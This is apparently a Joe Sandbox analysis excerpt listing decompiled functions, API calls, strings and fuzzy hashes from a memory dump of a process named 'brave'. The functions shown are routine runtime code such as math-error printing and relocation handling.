API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction ID: f998cf854f04cc275152bff25538aa7bbf55854dffa431e4cbb64ff90ae874f7
Opcode Fuzzy Hash: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction Fuzzy Hash: 6D31E572B0CA8186EBB04B24B5403AD77A0FB857C4F654171DA98C7BD4DF3EE5829B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F813E60 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF69F813E7D
GetProcessAffinityMask.KERNEL32 ref: 00007FF69F813E8C
GetCurrentProcess.KERNEL32 ref: 00007FF69F813ED2
SetProcessAffinityMask.KERNEL32 ref: 00007FF69F813EDA

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction ID: 9da55ce9872048ebfeb7c5ae08295f8ec60f68cad8656ce9f9d214d005866f86
Opcode Fuzzy Hash: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction Fuzzy Hash: 4F012622B0870682FEB18B257A0036B7BA4FB0478CF452175CE5D83790EF7CE945D200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E830 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80E830(void* __eax) {
				intOrPtr _t4;

				_t4 =  *0x9fac10f0; // 0x1
				if (_t4 == 0) goto 0x9f80e860;
				return __eax;
			}

0x7ff69f80e845
0x7ff69f80e84d
0x7ff69f80e85f

APIs

VirtualProtect.KERNEL32(00007FF69FAC1098,00007FFA26C83CA0,?,?,?,00000001,00007FF69F801261), ref: 00007FF69F80E9D5

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF69F80EA95
Unknown pseudo relocation protocol version %d., xrefs: 00007FF69F80EAA1

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction ID: edc8869296f48c6f38864c090b39ade43a2becfad85158f78d875928a3c4ccb0
Opcode Fuzzy Hash: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction Fuzzy Hash: 49612772F0A64286EAB08F20E9411BA7771FF59794F8A86B5DE5D87BD4DE3CE040D200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F811110 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00007FF67FF69F811110(void* __rcx) {
				void* _t29;
				intOrPtr _t39;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				void* _t68;
				void* _t76;
				intOrPtr* _t80;
				intOrPtr* _t81;
				intOrPtr* _t82;
				void* _t89;

				if (__rcx == 0) goto 0x9f811310;
				_t80 =  *0x9fab6920; // 0x7ff69fac1400
				_t52 =  *_t80;
				if (_t52 == 0) goto 0x9f8111f8;
				if ( *((long long*)(_t52 + 0x90)) != 0) goto 0x9f811220;
				 *((long long*)(_t52 + 0x90)) = 0x9fab2bc0;
				E00007FF67FF69F818830(0x9fab2bc0, _t76);
				_t53 =  *_t80;
				if (_t53 == 0) goto 0x9f811238;
				if ( *((long long*)(_t53 + 0x88)) == 0) goto 0x9f811260;
				_t55 =  *((intOrPtr*)( *((intOrPtr*)(_t53 + 0x88))));
				if (__rcx == _t55) goto 0x9f811348;
				if (_t55 == 0) goto 0x9f811348;
				_t56 =  *((intOrPtr*)(_t55 + 0x18));
				if (_t56 == 0) goto 0x9f811320;
				if (__rcx != _t56) goto 0x9f811190;
				_t39 = _t56;
				if (_t39 == 0) goto 0x9f811320;
				 *((intOrPtr*)(__rcx + 0x10)) =  *((intOrPtr*)(__rcx + 0x10)) - 1;
				if (_t39 == 0) goto 0x9f8112b8;
				_t57 =  *_t80;
				if (_t57 == 0) goto 0x9f811280;
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0x9f811299;
				if (_t57 == 0) goto 0x9f81134f;
				_pop(_t81);
				goto E00007FF67FF69F818870;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0x9f811145;
				if ( *_t81 != 0) goto 0x9f811220;
				E00007FF67FF69F817060();
				E00007FF67FF69F818830( *((intOrPtr*)( *_t81 + 0x90)), _t76);
				_t59 =  *_t81;
				if (_t59 != 0) goto 0x9f811164;
				E00007FF67FF69F817060();
				_t60 =  *_t81;
				if ( *((long long*)(_t59 + 0x88)) == 0) goto 0x9f811260;
				if (_t60 != 0) goto 0x9f811172;
				E00007FF67FF69F817060();
				goto 0x9f811172;
				 *((long long*)(_t60 + 0x88)) = 0x9fac1388;
				goto 0x9f811179;
				asm("o16 nop [cs:eax+eax]");
				E00007FF67FF69F817060();
				if ( *0x7FF69FAC1418 != 0) goto 0x9f8111d4;
				 *((long long*)( *_t81 + 0x90)) = 0x9fab2bc0;
				_pop(_t68);
				_pop(_t82);
				_pop(_t89);
				goto E00007FF67FF69F818870;
				_t16 = _t89 + 8; // 0x8
				_t29 = E00007FF67FF69F8109D0(_t16);
				if (_t68 == 0) goto 0x9f8112dd;
				 *((long long*)(_t68 + 0x18)) =  *((intOrPtr*)(_t89 + 0x18));
				free(??);
				goto 0x9f8111ba;
				_t64 =  *_t82;
				if (_t64 == 0) goto 0x9f811359;
				if ( *((long long*)(_t64 + 0x88)) != 0) goto 0x9f811378;
				 *((long long*)(_t64 + 0x88)) = 0x9fac1388;
				 *0x9fac1388 =  *((intOrPtr*)(_t89 + 0x18));
				goto 0x9f8112d0;
				return _t29;
			}

0x7ff69f81111e
0x7ff69f811124
0x7ff69f81112b
0x7ff69f811131
0x7ff69f81113f
0x7ff69f81114c
0x7ff69f811153
0x7ff69f811158
0x7ff69f81115e
0x7ff69f81116c
0x7ff69f811179
0x7ff69f81117f
0x7ff69f811188
0x7ff69f811193
0x7ff69f81119a
0x7ff69f8111a3
0x7ff69f8111a5
0x7ff69f8111a8
0x7ff69f8111ae
0x7ff69f8111b4
0x7ff69f8111ba
0x7ff69f8111c0
0x7ff69f8111ce
0x7ff69f8111d7
0x7ff69f8111e9
0x7ff69f8111ec
0x7ff69f8111f8
0x7ff69f811208
0x7ff69f811211
0x7ff69f811213
0x7ff69f811227
0x7ff69f81122c
0x7ff69f811232
0x7ff69f811238
0x7ff69f811245
0x7ff69f811248
0x7ff69f81124d
0x7ff69f811253
0x7ff69f811258
0x7ff69f811267
0x7ff69f811271
0x7ff69f811276
0x7ff69f811280
0x7ff69f811293
0x7ff69f8112a0
0x7ff69f8112ab
0x7ff69f8112ac
0x7ff69f8112ad
0x7ff69f8112af
0x7ff69f8112b8
0x7ff69f8112bd
0x7ff69f8112c5
0x7ff69f8112cc
0x7ff69f8112d3
0x7ff69f8112d8
0x7ff69f8112dd
0x7ff69f8112e3
0x7ff69f8112ed
0x7ff69f8112fa
0x7ff69f811309
0x7ff69f81130c
0x7ff69f811318

Strings

%p not found?!?!, xrefs: 00007FF69F81132E

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %p not found?!?!
API String ID: 0-11085004
Opcode ID: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction ID: 60018f6e658735259f96cefcd9a06afe84d9a6966cdd0c3ba2e5eb28c071ea9d
Opcode Fuzzy Hash: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction Fuzzy Hash: 9951EB21B09B0680FEF59B55A6553B877B8EF44B80F4A46B5CA6CC2791DF3CA485E310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E530 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00007FF67FF69F80E530() {
				intOrPtr* _t8;

				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x50], xmm7");
				asm("inc esp");
				if ( *_t8 - 6 > 0) goto 0x9f80e61c;
				goto __rax;
			}

0x7ff69f80e536
0x7ff69f80e53b
0x7ff69f80e540
0x7ff69f80e549
0x7ff69f80e55f

APIs

fprintf.MSVCRT ref: 00007FF69F80E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69F80E597
Unknown error, xrefs: 00007FF69F80E61C

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction ID: 0a9d339712ea62e71dbb57f6b88d7db9dbe4aa7dc70171219a2b52f0289cde47
Opcode Fuzzy Hash: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction Fuzzy Hash: 71010822908E88C6D6568F1CE8011FA7374FF5979AF695361EB8C26264EF29D543C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80E5D0() {

				goto 0x9f80e56f;
				goto 0x9f80e56f;
				0;
				return 0;
			}

0x7ff69f80e617
0x7ff69f80e623
0x7ff69f80e62e
0x7ff69f80e632

APIs

fprintf.MSVCRT ref: 00007FF69F80E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69F80E597
Argument domain error (DOMAIN), xrefs: 00007FF69F80E5D0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction ID: 68b286abdebdec8e968f22c19e2f6502cf37bfe4ed26e74b90bc127721ddb770
Opcode Fuzzy Hash: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction Fuzzy Hash: E2F0C222808E8882D2528F1CA8000EB7330FF4D789F691325EE8D36564DF29E5439700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E5F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80E5F0() {

				goto 0x9f80e56f;
				goto 0x9f80e56f;
				0;
				return 0;
			}

0x7ff69f80e617
0x7ff69f80e623
0x7ff69f80e62e
0x7ff69f80e632

APIs

fprintf.MSVCRT ref: 00007FF69F80E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69F80E597
Overflow range error (OVERFLOW), xrefs: 00007FF69F80E5F0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction ID: 51ebd0b65dde006c1a6eeec1acff7b88bfe1ca1767ce30b8f049aa4cc87803fe
Opcode Fuzzy Hash: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction Fuzzy Hash: 4DF0C222808E8882D2528F1CA8000EB7330FF4D789F691325EE8D36564DF29E5439700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80E5E0() {

				goto 0x9f80e56f;
				goto 0x9f80e56f;
				0;
				return 0;
			}

0x7ff69f80e617
0x7ff69f80e623
0x7ff69f80e62e
0x7ff69f80e632

APIs

fprintf.MSVCRT ref: 00007FF69F80E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69F80E597
Partial loss of significance (PLOSS), xrefs: 00007FF69F80E5E0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction ID: baffce692ac796f00a7b08f5c81f72732d36dc82a7a899b819d09bc759b0f84a
Opcode Fuzzy Hash: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction Fuzzy Hash: E9F0C222808E8882D2528F1CA8000EB7330FF4D789F691325EE8D76564DF29E5439700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80E610() {

				goto 0x9f80e56f;
				goto 0x9f80e56f;
				0;
				return 0;
			}

0x7ff69f80e617
0x7ff69f80e623
0x7ff69f80e62e
0x7ff69f80e632

APIs

fprintf.MSVCRT ref: 00007FF69F80E5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69F80E597
Total loss of significance (TLOSS), xrefs: 00007FF69F80E610

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction ID: 838726cb0faec4215388df7600b3b6e41919e1f266da053446fc605f3d231c98
Opcode Fuzzy Hash: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction Fuzzy Hash: CFF0C222918E8882D2528F1CE8000EB7330FF4D789F291365EE8D26564DF29E5439700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E600 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80E600() {

				goto 0x9f80e56f;
				goto 0x9f80e56f;
				0;
				return 0;
			}

0x7ff69f80e617
0x7ff69f80e623
0x7ff69f80e62e
0x7ff69f80e632

APIs

fprintf.MSVCRT ref: 00007FF69F80E5B0

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF69F80E600
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69F80E597

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction ID: 2897218681925657b65a388bbb0c7d67a1f5757fab42009f05608009ced6f921
Opcode Fuzzy Hash: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction Fuzzy Hash: 3DF06222908E8886D6528F1CE8001EBB374FF4D789F695365EE8D6A564DF29E5439700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E568 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69F80E5B0

Strings

Argument singularity (SIGN), xrefs: 00007FF69F80E568
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69F80E597

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction ID: 21db3bd9a52772ec1ffd2eb25c36e69bf3bcbadb5e23e5302025a9bc3d380e5d
Opcode Fuzzy Hash: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction Fuzzy Hash: 02F09612804F8886D612CF1CE8001EB7374FF4D789F255325EF8D26165DF29D5438700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80EFE0 Relevance: 5.1, APIs: 4, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80EFE0(void* __eax, void* __edx, void* __rcx) {

				if (__edx == 1) goto 0x9f80f008;
				if (__edx == 3) goto 0x9f80f0a8;
				if (__edx == 0) goto 0x9f80f030;
				return __eax;
			}

0x7ff69f80efec
0x7ff69f80eff1
0x7ff69f80eff9
0x7ff69f80f001

APIs

free.MSVCRT ref: 00007FF69F80F05D
